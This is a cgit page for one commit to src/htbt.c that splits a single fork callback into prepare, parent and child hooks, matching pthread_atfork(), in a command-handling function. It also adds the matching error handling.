aboutsummaryrefslogtreecommitdiff
path: root/src/htbt.c
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-11-06 19:07:41 +0800
committerDavid Timber <mieabby@gmail.com>2021-11-06 19:07:41 +0800
commitd19a792e58eba8f13d9c7a0160cc5f1402e7f117 (patch)
tree20a6fab9a3600e15220b4211f6567141326ad590 /src/htbt.c
parent7829a29ee65e21b8a234670f9edba31a9a432853 (diff)
Add more callbacks for fork() event, doc progress
* Add fork.prepare(), fork.parent() and fork.child() to match with pthread_atfork(), which makes more sense * Code documentation progress
Diffstat (limited to 'src/htbt.c')
-rw-r--r--src/htbt.c17
1 files changed, 15 insertions, 2 deletions
diff --git a/src/htbt.c b/src/htbt.c
index ff42108..4eb2a05 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -1285,10 +1285,20 @@ static bool htbt_do_cmd (
cin[1] = cout[0] = cerr[0] = -1;
}
+ if (ctx->cbset->fork.prepare != NULL &&
+ !ctx->cbset->fork.prepare(ctx->cb_ctx))
+ {
+ ret_status = PRNE_HTBT_STATUS_ERRNO;
+ ret_err = errno;
+ goto END;
+ }
+
to_kill = child = pth_fork();
if (child == 0) {
do { // TRY
- if (ctx->cbset->fork != NULL && !ctx->cbset->fork(ctx->cb_ctx)) {
+ if (ctx->cbset->fork.child != NULL &&
+ !ctx->cbset->fork.child(ctx->cb_ctx))
+ {
break;
}
@@ -1326,7 +1336,10 @@ static bool htbt_do_cmd (
write(errp[1], &ret_err, sizeof(int32_t));
raise(SIGKILL);
}
- else if (child < 0) {
+ else if (child < 0 ||
+ (ctx->cbset->fork.parent != NULL &&
+ !ctx->cbset->fork.parent(ctx->cb_ctx)))
+ {
ret_status = PRNE_HTBT_STATUS_ERRNO;
ret_err = errno;
goto END;